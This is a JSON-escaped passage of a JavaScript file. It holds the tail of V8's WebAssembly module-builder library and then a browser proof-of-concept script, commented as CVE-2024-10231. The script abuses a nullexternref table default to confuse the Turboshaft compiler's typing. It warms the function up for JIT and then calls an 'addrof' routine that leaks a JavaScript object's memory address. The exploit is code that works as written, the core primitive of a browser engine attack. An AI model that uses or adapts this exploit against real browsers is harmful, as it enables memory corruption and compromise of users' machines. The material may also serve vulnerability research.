topTier\n    };\n    return this;\n  }\n\n  addActiveDataSegment(memory_index, offset, data, is_shared = false) {\n    checkExpr(offset);\n    this.data_segments.push({\n      is_active: true,\n      is_shared: is_shared,\n      mem_index: memory_index,\n      offset: offset,\n      data: data\n    });\n    return this.data_segments.length - 1;\n  }\n\n  addPassiveDataSegment(data, is_shared = false) {\n    this.data_segments.push({\n      is_active: false, is_shared: is_shared, data: data});\n    return this.data_segments.length - 1;\n  }\n\n  exportMemoryAs(name, memory_index) {\n    if (memory_index === undefined) {\n      const num_memories = this.memories.length +\n          this.imports.filter(i => i.kind == kExternalMemory).length;\n      if (num_memories !== 1) {\n        throw new Error(\n            'Pass memory index to \\'exportMemoryAs\\' if there is not exactly ' +\n            'one memory imported or declared.');\n      }\n      memory_index = 0;\n    }\n    this.exports.push({name: name, kind: kExternalMemory, index: memory_index});\n  }\n\n  // {offset} is a constant expression.\n  // If {type} is undefined, then {elements} are function indices. Otherwise,\n  // they are constant expressions.\n  addActiveElementSegment(table, offset, elements, type, is_shared = false) {\n    checkExpr(offset);\n    if (type != undefined) {\n      for (let element of elements) checkExpr(element);\n    }\n    this.element_segments.push(\n        new WasmElemSegment(table, offset, type, elements, false, is_shared));\n    return this.element_segments.length - 1;\n  }\n\n  // If {type} is undefined, then {elements} are function indices. Otherwise,\n  // they are constant expressions.\n  addPassiveElementSegment(elements, type, is_shared = false) {\n    if (type != undefined) {\n      for (let element of elements) checkExpr(element);\n    }\n    this.element_segments.push(new WasmElemSegment(\n      undefined, undefined, type, elements, false, is_shared));\n    return this.element_segments.length - 1;\n  }\n\n  // If {type} is undefined, then {elements} are function indices. Otherwise,\n  // they are constant expressions.\n  addDeclarativeElementSegment(elements, type, is_shared = false) {\n    if (type != undefined) {\n      for (let element of elements) checkExpr(element);\n    }\n    this.element_segments.push(new WasmElemSegment(\n      undefined, undefined, type, elements, true, is_shared));\n    return this.element_segments.length - 1;\n  }\n\n  appendToTable(array) {\n    for (let n of array) {\n      if (typeof n != 'number')\n        throw new Error('invalid table (entries have to be numbers): ' + array);\n    }\n    if (this.tables.length == 0) {\n      this.addTable(kWasmAnyFunc, 0);\n    }\n    // Adjust the table to the correct size.\n    let table = this.tables[0];\n    const base = table.initial_size;\n    const table_size = base + array.length;\n    table.initial_size = table_size;\n    if (table.has_max && table_size > table.max_size) {\n      table.max_size = table_size;\n    }\n    return this.addActiveElementSegment(0, wasmI32Const(base), array);\n  }\n\n  setTableBounds(min, max = undefined) {\n    if (this.tables.length != 0) {\n      throw new Error('The table bounds of table \\'0\\' have already been set.');\n    }\n    this.addTable(kWasmAnyFunc, min, max);\n    return this;\n  }\n\n  startRecGroup() {\n    this.rec_groups.push({start: this.types.length, size: 0});\n  }\n\n  endRecGroup() {\n    if (this.rec_groups.length == 0) {\n      throw new Error(\"Did not start a recursive group before ending one\")\n    }\n    let last_element = this.rec_groups[this.rec_groups.length - 1]\n    if (last_element.size != 0) {\n      throw new Error(\"Did not start a recursive group before ending one\")\n    }\n    last_element.size = this.types.length - last_element.start;\n  }\n\n  setName(name) {\n    this.name = name;\n    return this;\n  }\n\n  toBuffer(debug = false) {\n    let binary = new Binary;\n    let wasm = this;\n\n    // Add header.\n    binary.emit_header();\n\n    // Add type section.\n    if (wasm.types.length > 0) {\n      if (debug) print('emitting types @ ' + binary.length);\n      binary.emit_section(kTypeSectionCode, section => {\n        let length_with_groups = wasm.types.length;\n        for (let group of wasm.rec_groups) {\n          length_with_groups -= group.size - 1;\n        }\n        section.emit_u32v(length_with_groups);\n\n        let rec_group_index = 0;\n\n        for (let i = 0; i < wasm.types.length; i++) {\n          if (rec_group_index < wasm.rec_groups.length &&\n              wasm.rec_groups[rec_group_index].start == i) {\n            section.emit_u8(kWasmRecursiveTypeGroupForm);\n            section.emit_u32v(wasm.rec_groups[rec_group_index].size);\n            rec_group_index++;\n          }\n\n          let type = wasm.types[i];\n          if (type.supertype != kNoSuperType) {\n            section.emit_u8(type.is_final ? kWasmSubtypeFinalForm\n                                          : kWasmSubtypeForm);\n            section.emit_u8(1);  // supertype count\n            section.emit_u32v(type.supertype);\n          } else if (!type.is_final) {\n            section.emit_u8(kWasmSubtypeForm);\n            section.emit_u8(0);  // no supertypes\n          }\n          if (type.is_shared) section.emit_u8(kWasmSharedTypeForm);\n          if (type instanceof WasmStruct) {\n            section.emit_u8(kWasmStructTypeForm);\n            section.emit_u32v(type.fields.length);\n            for (let field of type.fields) {\n              section.emit_type(field.type);\n              section.emit_u8(field.mutability ? 1 : 0);\n            }\n          } else if (type instanceof WasmArray) {\n            section.emit_u8(kWasmArrayTypeForm);\n            section.emit_type(type.type);\n            section.emit_u8(type.mutability ? 1 : 0);\n          } else {\n            section.emit_u8(kWasmFunctionTypeForm);\n            section.emit_u32v(type.params.length);\n            for (let param of type.params) {\n              section.emit_type(param);\n            }\n            section.emit_u32v(type.results.length);\n            for (let result of type.results) {\n              section.emit_type(result);\n            }\n          }\n        }\n      });\n    }\n\n    // Add imports section.\n    if (wasm.imports.length > 0) {\n      if (debug) print('emitting imports @ ' + binary.length);\n      binary.emit_section(kImportSectionCode, section => {\n        section.emit_u32v(wasm.imports.length);\n        for (let imp of wasm.imports) {\n          section.emit_string(imp.module);\n          section.emit_string(imp.name || '');\n          section.emit_u8(imp.kind);\n          if (imp.kind == kExternalFunction) {\n            section.emit_u32v(imp.type_index);\n          } else if (imp.kind == kExternalGlobal) {\n            section.emit_type(imp.type);\n            let flags = (imp.mutable ? 1 : 0) | (imp.shared ? 0b10 : 0);\n            section.emit_u8(flags);\n          } else if (imp.kind == kExternalMemory) {\n            const has_max = imp.maximum !== undefined;\n            const is_shared = !!imp.shared;\n            const is_memory64 = !!imp.is_memory64;\n            let limits_byte =\n                (is_memory64 ? 4 : 0) | (is_shared ? 2 : 0) | (has_max ? 1 : 0);\n            section.emit_u8(limits_byte);\n            let emit = val =>\n                is_memory64 ? section.emit_u64v(val) : section.emit_u32v(val);\n            emit(imp.initial);\n            if (has_max) emit(imp.maximum);\n          } else if (imp.kind == kExternalTable) {\n            section.emit_type(imp.type);\n            const has_max = (typeof imp.maximum) != 'undefined';\n            // TODO(manoskouk): Store sharedness as a property.\n            const is_shared = false\n            const is_table64 = !!imp.is_table64;\n            let limits_byte =\n                (is_table64 ? 4 : 0) | (is_shared ? 2 : 0) | (has_max ? 1 : 0);\n            section.emit_u8(limits_byte);                 // flags\n            section.emit_u32v(imp.initial);               // initial\n            if (has_max) section.emit_u32v(imp.maximum);  // maximum\n          } else if (imp.kind == kExternalTag) {\n            section.emit_u32v(kExceptionAttribute);\n            section.emit_u32v(imp.type_index);\n          } else {\n            throw new Error('unknown/unsupported import kind ' + imp.kind);\n          }\n        }\n      });\n    }\n\n    // Add functions declarations.\n    if (wasm.functions.length > 0) {\n      if (debug) print('emitting function decls @ ' + binary.length);\n      binary.emit_section(kFunctionSectionCode, section => {\n        section.emit_u32v(wasm.functions.length);\n        for (let func of wasm.functions) {\n          section.emit_u32v(func.type_index);\n        }\n      });\n    }\n\n    // Add table section.\n    if (wasm.tables.length > 0) {\n      if (debug) print('emitting tables @ ' + binary.length);\n      binary.emit_section(kTableSectionCode, section => {\n        section.emit_u32v(wasm.tables.length);\n        for (let table of wasm.tables) {\n          if (table.has_init) {\n            section.emit_u8(0x40);  // \"has initializer\"\n            section.emit_u8(0x00);  // Reserved byte.\n          }\n          section.emit_type(table.type);\n          let limits_byte = (table.is_table64 ? 4 : 0) |\n              (table.is_shared ? 2 : 0) | (table.has_max ? 1 : 0);\n          section.emit_u8(limits_byte);\n          let emit = val => table.is_table64 ? section.emit_u64v(val) :\n                                               section.emit_u32v(val);\n          emit(table.initial_size);\n          if (table.has_max) emit(table.max_size);\n          if (table.has_init) section.emit_init_expr(table.init_expr);\n        }\n      });\n    }\n\n    // Add memory section.\n    if (wasm.memories.length > 0) {\n      if (debug) print('emitting memories @ ' + binary.length);\n      binary.emit_section(kMemorySectionCode, section => {\n        section.emit_u32v(wasm.memories.length);\n        for (let memory of wasm.memories) {\n          const has_max = memory.max !== undefined;\n          const is_shared = !!memory.shared;\n          const is_memory64 = !!memory.is_memory64;\n          let limits_byte =\n              (is_memory64 ? 4 : 0) | (is_shared ? 2 : 0) | (has_max ? 1 : 0);\n          section.emit_u8(limits_byte);\n          let emit = val =>\n              is_memory64 ? section.emit_u64v(val) : section.emit_u32v(val);\n          emit(memory.min);\n          if (has_max) emit(memory.max);\n        }\n      });\n    }\n\n    // Add tag section.\n    if (wasm.tags.length > 0) {\n      if (debug) print('emitting tags @ ' + binary.length);\n      binary.emit_section(kTagSectionCode, section => {\n        section.emit_u32v(wasm.tags.length);\n        for (let type_index of wasm.tags) {\n          section.emit_u32v(kExceptionAttribute);\n          section.emit_u32v(type_index);\n        }\n      });\n    }\n\n    // Add stringref section.\n    if (wasm.stringrefs.length > 0) {\n      if (debug) print('emitting stringrefs @ ' + binary.length);\n      binary.emit_section(kStringRefSectionCode, section => {\n        section.emit_u32v(0);\n        section.emit_u32v(wasm.stringrefs.length);\n        for (let str of wasm.stringrefs) {\n          section.emit_string(str);\n        }\n      });\n    }\n\n    // Add global section.\n    if (wasm.globals.length > 0) {\n      if (debug) print('emitting globals @ ' + binary.length);\n      binary.emit_section(kGlobalSectionCode, section => {\n        section.emit_u32v(wasm.globals.length);\n        for (let global of wasm.globals) {\n          section.emit_type(global.type);\n          section.emit_u8((global.mutable ? 1 : 0) | (global.shared ? 0b10 : 0));\n          section.emit_init_expr(global.init);\n        }\n      });\n    }\n\n    // Add export table.\n    var exports_count = wasm.exports.length;\n    if (exports_count > 0) {\n      if (debug) print('emitting exports @ ' + binary.length);\n      binary.emit_section(kExportSectionCode, section => {\n        section.emit_u32v(exports_count);\n        for (let exp of wasm.exports) {\n          section.emit_string(exp.name);\n          section.emit_u8(exp.kind);\n          section.emit_u32v(exp.index);\n        }\n      });\n    }\n\n    // Add start function section.\n    if (wasm.start_index !== undefined) {\n      if (debug) print('emitting start function @ ' + binary.length);\n      binary.emit_section(kStartSectionCode, section => {\n        section.emit_u32v(wasm.start_index);\n      });\n    }\n\n    // Add element segments.\n    if (wasm.element_segments.length > 0) {\n      if (debug) print('emitting element segments @ ' + binary.length);\n      binary.emit_section(kElementSectionCode, section => {\n        var segments = wasm.element_segments;\n        section.emit_u32v(segments.length);\n\n        for (let segment of segments) {\n          // Emit flag and header.\n          // Each case below corresponds to a flag from\n          // https://webassembly.github.io/spec/core/binary/modules.html#element-section\n          // (not in increasing order).\n          let shared_flag = segment.is_shared ? 0b1000 : 0;\n          if (segment.is_active()) {\n            if (segment.table == 0 && segment.type === undefined) {\n              if (segment.expressions_as_elements()) {\n                section.emit_u8(0x04 | shared_flag);\n                section.emit_init_expr(segment.offset);\n              } else {\n                section.emit_u8(0x00 | shared_flag)\n                section.emit_init_expr(segment.offset);\n              }\n            } else {\n              if (segment.expressions_as_elements()) {\n                section.emit_u8(0x06 | shared_flag);\n                section.emit_u32v(segment.table);\n                section.emit_init_expr(segment.offset);\n                section.emit_type(segment.type);\n              } else {\n                section.emit_u8(0x02 | shared_flag);\n                section.emit_u32v(segment.table);\n                section.emit_init_expr(segment.offset);\n                section.emit_u8(kExternalFunction);\n              }\n            }\n          } else {\n            if (segment.expressions_as_elements()) {\n              if (segment.is_passive()) {\n                section.emit_u8(0x05 | shared_flag);\n              } else {\n                section.emit_u8(0x07 | shared_flag);\n              }\n              section.emit_type(segment.type);\n            } else {\n              if (segment.is_passive()) {\n                section.emit_u8(0x01 | shared_flag);\n              } else {\n                section.emit_u8(0x03 | shared_flag);\n              }\n              section.emit_u8(kExternalFunction);\n            }\n          }\n\n          // Emit elements.\n          section.emit_u32v(segment.elements.length);\n          for (let element of segment.elements) {\n            if (segment.expressions_as_elements()) {\n              section.emit_init_expr(element);\n            } else {\n              section.emit_u32v(element);\n            }\n          }\n        }\n      })\n    }\n\n    // If there are any passive data segments, add the DataCount section.\n    if (wasm.data_segments.some(seg => !seg.is_active)) {\n      binary.emit_section(kDataCountSectionCode, section => {\n        section.emit_u32v(wasm.data_segments.length);\n      });\n    }\n\n    // If there are compilation hints add a custom section 'compilationHints'\n    // after the function section and before the code section.\n    if (wasm.compilation_hints.length > 0) {\n      if (debug) print('emitting compilation hints @ ' + binary.length);\n      // Build custom section payload.\n      let payloadBinary = new Binary();\n      let implicit_compilation_hints_count = wasm.functions.length;\n      payloadBinary.emit_u32v(implicit_compilation_hints_count);\n\n      // Defaults to the compiler's choice if no better hint was given (0x00).\n      let defaultHintByte = kCompilationHintStrategyDefault |\n          (kCompilationHintTierDefault << 2) |\n          (kCompilationHintTierDefault << 4);\n\n      // Emit hint byte for every function defined in this module.\n      for (let i = 0; i < implicit_compilation_hints_count; i++) {\n        let index = wasm.num_imported_funcs + i;\n        var hintByte;\n        if (index in wasm.compilation_hints) {\n          let hint = wasm.compilation_hints[index];\n          hintByte =\n              hint.strategy | (hint.baselineTier << 2) | (hint.topTier << 4);\n        } else {\n          hintByte = defaultHintByte;\n        }\n        payloadBinary.emit_u8(hintByte);\n      }\n\n      // Finalize as custom section.\n      let name = 'compilationHints';\n      let bytes = this.createCustomSection(name, payloadBinary.trunc_buffer());\n      binary.emit_bytes(bytes);\n    }\n\n    // Add function bodies.\n    if (wasm.functions.length > 0) {\n      // emit function bodies\n      if (debug) print('emitting code @ ' + binary.length);\n      let section_length = 0;\n      binary.emit_section(kCodeSectionCode, section => {\n        section.emit_u32v(wasm.functions.length);\n        let header;\n        for (let func of wasm.functions) {\n          if (func.locals.length == 0) {\n            // Fast path for functions without locals.\n            section.emit_u32v(func.body.length + 1);\n            section.emit_u8(0);  // 0 locals.\n          } else {\n            // Build the locals declarations in separate buffer first.\n            if (!header) header = new Binary;\n            header.reset();\n            header.emit_u32v(func.locals.length);\n            for (let decl of func.locals) {\n              header.emit_u32v(decl.count);\n              header.emit_type(decl.type);\n            }\n            section.emit_u32v(header.length + func.body.length);\n            section.emit_bytes(header.trunc_buffer());\n          }\n          // Set to section offset for now, will update.\n          func.body_offset = section.length;\n          section.emit_bytes(func.body);\n        }\n        section_length = section.length;\n      });\n      for (let func of wasm.functions) {\n        func.body_offset += binary.length - section_length;\n      }\n    }\n\n    // Add data segments.\n    if (wasm.data_segments.length > 0) {\n      if (debug) print('emitting data segments @ ' + binary.length);\n      binary.emit_section(kDataSectionCode, section => {\n        section.emit_u32v(wasm.data_segments.length);\n        for (let seg of wasm.data_segments) {\n          let shared_flag = seg.is_shared ? 0b1000 : 0;\n          if (seg.is_active) {\n            if (seg.mem_index == 0) {\n              section.emit_u8(kActiveNoIndex | shared_flag);\n            } else {\n              section.emit_u8(kActiveWithIndex | shared_flag);\n              section.emit_u32v(seg.mem_index);\n            }\n            section.emit_init_expr(seg.offset);\n          } else {\n            section.emit_u8(kPassive | shared_flag);\n          }\n          section.emit_u32v(seg.data.length);\n          section.emit_bytes(seg.data);\n        }\n      });\n    }\n\n    // Add any explicitly added sections.\n    for (let exp of wasm.explicit) {\n      if (debug) print('emitting explicit @ ' + binary.length);\n      binary.emit_bytes(exp);\n    }\n\n    // Add names.\n    let num_function_names = 0;\n    let num_functions_with_local_names = 0;\n    for (let func of wasm.functions) {\n      if (func.name !== undefined) ++num_function_names;\n      if (func.numLocalNames() > 0) ++num_functions_with_local_names;\n    }\n    if (num_function_names > 0 || num_functions_with_local_names > 0 ||\n        wasm.name !== undefined) {\n      if (debug) print('emitting names @ ' + binary.length);\n      binary.emit_section(kUnknownSectionCode, section => {\n        section.emit_string('name');\n        // Emit module name.\n        if (wasm.name !== undefined) {\n          section.emit_section(kModuleNameCode, name_section => {\n            name_section.emit_string(wasm.name);\n          });\n        }\n        // Emit function names.\n        if (num_function_names > 0) {\n          section.emit_section(kFunctionNamesCode, name_section => {\n            name_section.emit_u32v(num_function_names);\n            for (let func of wasm.functions) {\n              if (func.name === undefined) continue;\n              name_section.emit_u32v(func.index);\n              name_section.emit_string(func.name);\n            }\n          });\n        }\n        // Emit local names.\n        if (num_functions_with_local_names > 0) {\n          section.emit_section(kLocalNamesCode, name_section => {\n            name_section.emit_u32v(num_functions_with_local_names);\n            for (let func of wasm.functions) {\n              if (func.numLocalNames() == 0) continue;\n              name_section.emit_u32v(func.index);\n              name_section.emit_u32v(func.numLocalNames());\n              let name_index = 0;\n              for (let i = 0; i < func.local_names.length; ++i) {\n                if (typeof func.local_names[i] == 'string') {\n                  name_section.emit_u32v(name_index);\n                  name_section.emit_string(func.local_names[i]);\n                  name_index++;\n                } else {\n                  name_index += func.local_names[i];\n                }\n              }\n            }\n          });\n        }\n      });\n    }\n\n    return binary.trunc_buffer();\n  }\n\n  toArray(debug = false) {\n    return Array.from(this.toBuffer(debug));\n  }\n\n  instantiate(ffi, options) {\n    let module = this.toModule(options);\n    let instance = new WebAssembly.Instance(module, ffi);\n    return instance;\n  }\n\n  asyncInstantiate(ffi) {\n    return WebAssembly.instantiate(this.toBuffer(), ffi)\n        .then(({module, instance}) => instance);\n  }\n\n  toModule(options, debug = false) {\n    return new WebAssembly.Module(this.toBuffer(debug), options);\n  }\n}\n\nfunction wasmSignedLeb(val, max_len = 5) {\n  if (val == null) throw new Error(\"Leb value may not be null/undefined\");\n  let res = [];\n  for (let i = 0; i < max_len; ++i) {\n    let v = val & 0x7f;\n    // If {v} sign-extended from 7 to 32 bits is equal to val, we are done.\n    if (((v << 25) >> 25) == val) {\n      res.push(v);\n      return res;\n    }\n    res.push(v | 0x80);\n    val = val >> 7;\n  }\n  throw new Error(\n      'Leb value <' + val + '> exceeds maximum length of ' + max_len);\n}\n\nfunction wasmSignedLeb64(val, max_len = 10) {\n  if (val == null) throw new Error(\"Leb value may not be null/undefined\");\n  if (typeof val != \"bigint\") {\n    if (val < Math.pow(2, 31)) {\n      return wasmSignedLeb(val, max_len);\n    }\n    val = BigInt(val);\n  }\n  let res = [];\n  for (let i = 0; i < max_len; ++i) {\n    let v = val & 0x7fn;\n    // If {v} sign-extended from 7 to 32 bits is equal to val, we are done.\n    if (BigInt.asIntN(7, v) == val) {\n      res.push(Number(v));\n      return res;\n    }\n    res.push(Number(v) | 0x80);\n    val = val >> 7n;\n  }\n  throw new Error(\n      'Leb value <' + val + '> exceeds maximum length of ' + max_len);\n}\n\nfunction wasmUnsignedLeb(val, max_len = 5) {\n  if (val == null) throw new Error(\"Leb value many not be null/undefined\");\n  let res = [];\n  for (let i = 0; i < max_len; ++i) {\n    let v = val & 0x7f;\n    if (v == val) {\n      res.push(v);\n      return res;\n    }\n    res.push(v | 0x80);\n    val = val >>> 7;\n  }\n  throw new Error(\n      'Leb value <' + val + '> exceeds maximum length of ' + max_len);\n}\n\nfunction wasmI32Const(val) {\n  return [kExprI32Const, ...wasmSignedLeb(val, 5)];\n}\n\n// Note: Since {val} is a JS number, the generated constant only has 53 bits of\n// precision.\nfunction wasmI64Const(val) {\n  return [kExprI64Const, ...wasmSignedLeb64(val, 10)];\n}\n\nfunction wasmF32Const(f) {\n  // Write in little-endian order at offset 0.\n  data_view.setFloat32(0, f, true);\n  return [\n    kExprF32Const, byte_view[0], byte_view[1], byte_view[2], byte_view[3]\n  ];\n}\n\nfunction wasmF64Const(f) {\n  // Write in little-endian order at offset 0.\n  data_view.setFloat64(0, f, true);\n  return [\n    kExprF64Const, byte_view[0], byte_view[1], byte_view[2], byte_view[3],\n    byte_view[4], byte_view[5], byte_view[6], byte_view[7]\n  ];\n}\n\nfunction wasmS128Const(f) {\n  // Write in little-endian order at offset 0.\n  if (Array.isArray(f)) {\n    if (f.length != 16) throw new Error('S128Const needs 16 bytes');\n    return [kSimdPrefix, kExprS128Const, ...f];\n  }\n  let result = [kSimdPrefix, kExprS128Const];\n  if (arguments.length === 2) {\n    for (let j = 0; j < 2; j++) {\n      data_view.setFloat64(0, arguments[j], true);\n      for (let i = 0; i < 8; i++) result.push(byte_view[i]);\n    }\n  } else if (arguments.length === 4) {\n    for (let j = 0; j < 4; j++) {\n      data_view.setFloat32(0, arguments[j], true);\n      for (let i = 0; i < 4; i++) result.push(byte_view[i]);\n    }\n  } else {\n    throw new Error('S128Const needs an array of bytes, or two f64 values, ' +\n                    'or four f32 values');\n  }\n  return result;\n}\n\nlet [wasmBrOnCast, wasmBrOnCastFail] = (function() {\n  return [\n    (labelIdx, sourceType, targetType) =>\n      wasmBrOnCastImpl(labelIdx, sourceType, targetType, false),\n      (labelIdx, sourceType, targetType) =>\n      wasmBrOnCastImpl(labelIdx, sourceType, targetType, true),\n  ];\n  function wasmBrOnCastImpl(labelIdx, sourceType, targetType, brOnFail) {\n    labelIdx = wasmUnsignedLeb(labelIdx, kMaxVarInt32Size);\n    let srcHeap = wasmSignedLeb(sourceType.heap_type, kMaxVarInt32Size);\n    let tgtHeap = wasmSignedLeb(targetType.heap_type, kMaxVarInt32Size);\n    let srcIsNullable = sourceType.opcode == kWasmRefNull;\n    let tgtIsNullable = targetType.opcode == kWasmRefNull;\n    flags = (tgtIsNullable << 1) + srcIsNullable;\n    return [\n      kGCPrefix, brOnFail ? kExprBrOnCastFail : kExprBrOnCast,\n      flags, ...labelIdx, ...srcHeap, ...tgtHeap];\n  }\n})();\n\nfunction getOpcodeName(opcode) {\n  return globalThis.kWasmOpcodeNames?.[opcode] ?? 'unknown';\n}\n\nfunction wasmF32ConstSignalingNaN() {\n  return [kExprF32Const, 0xb9, 0xa1, 0xa7, 0x7f];\n}\n\nfunction wasmF64ConstSignalingNaN() {\n  return [kExprF64Const, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf4, 0x7f];\n}\n\n///// wasm-module-builder.js END /////\n\nconst out = [];\nfunction log(s) {\n  out.push(String(s));\n  document.getElementById('o').textContent = out.join('\\n');\n}\nlog('ua=' + navigator.userAgent);\ntry {\n  let builder = new WasmModuleBuilder();\n  let $s0 = builder.addStruct([makeField(kWasmI32, true)]);\n  let $s1 = builder.addStruct([makeField(kWasmExternRef, true), makeField(kWasmI32, true)]);\n  let $s2 = builder.addStruct([makeField(kWasmI32, true), makeField(wasmRefType($s0), true)]);\n  let $sig_s2_s2 = builder.addType(makeSig([wasmRefType($s2)], [wasmRefType($s2)]));\n  let $sig_i_r = builder.addType(kSig_i_r);\n  let $t = builder.addTable(kWasmNullExternRef, 0, 1).exportAs('table');\n  let $dummy_s1 = builder.addGlobal(wasmRefType($s1), true, false, [\n    kGCPrefix, kExprStructNewDefault, $s1,\n  ]).exportAs('dummy_s1');\n  let $dummy_s2 = builder.addGlobal(wasmRefType($s2), true, false, [\n    ...wasmI32Const(0),\n    kGCPrefix, kExprStructNewDefault, $s0,\n    kGCPrefix, kExprStructNew, $s2,\n  ]);\n\n  // CVE-2024-10231: table default is JS undefined in a nullexternref.\n  // ref.as_non_null(undefined) is bottom for Turboshaft but succeeds at runtime.\n  let typer_unreachable = [\n    ...wasmI32Const(0),\n    kExprTableGet, $t.index,\n    kExprRefAsNonNull,\n    kExprDrop,\n  ];\n\n  let $confuser = builder.addFunction('confuser', makeSig([wasmRefType($s1), kWasmI32], [wasmRefType($s2)]))\n    .addLocals(kWasmAnyRef, 1)\n    .addLocals(kWasmI32, 1)\n    .addBody([\n      kExprGlobalGet, $dummy_s2.index,\n      kExprLocalSet, 2,\n      ...typer_unreachable,\n      kExprLoop, kWasmVoid,\n        kExprLoop, kWasmVoid,\n          kExprLocalGet, 2,\n          kGCPrefix, kExprRefCast, $s2,\n          kExprLocalGet, 3, ...wasmI32Const(1), kExprI32Sub, kExprI32Eqz,\n          kExprIf, $sig_s2_s2,\n            kExprReturn,\n          kExprEnd,\n          kExprDrop,\n          kExprLocalGet, 1, ...wasmI32Const(0x42), kExprI32Sub, kExprI32Eqz,\n          kExprBrIf, 0,\n        kExprEnd,\n        kExprLocalGet, 0,\n        kExprLocalSet, 2,\n        kExprLocalGet, 3,\n        kExprI32Const, 1,\n        kExprI32Add,\n        kExprLocalSet, 3,\n        kExprLocalGet, 1,\n        kExprI32Const, 1,\n        kExprI32Sub,\n        kExprLocalTee, 1,\n        kExprBrIf, 0,\n      kExprEnd,\n      kExprGlobalGet, $dummy_s2.index,\n    ]).exportFunc();\n\n  builder.addFunction('addrof', $sig_i_r).addBody([\n    kExprLocalGet, 0,\n    ...wasmI32Const(0),\n    kGCPrefix, kExprStructNew, $s1,\n    ...wasmI32Const(0),\n    kExprCallFunction, $confuser.index,\n    kGCPrefix, kExprStructGet, $s2, 0,\n  ]).exportFunc();\n\n  let instance = builder.instantiate();\n  let {table, dummy_s1, confuser, addrof} = instance.exports;\n  table.grow(1);\n  log('table0=' + table.get(0));\n  log('table0type=' + typeof table.get(0));\n  const t0 = performance.now();\n  for (let i = 0; i < 0x200000; i++) {\n    confuser(dummy_s1.value, 1);\n  }\n  log('warmup_ms=' + (performance.now() - t0));\n  const p = addrof({a:1});\n  log('addrof=' + (p>>>0).toString(16));\n  log('DONE');\n} catch (e) {\n  log('ERR ' + e);\n  log(e && e.stack);\n}\n\n\n", "creation_timestamp": "2026-09-20T03:46:23.361114Z"}]}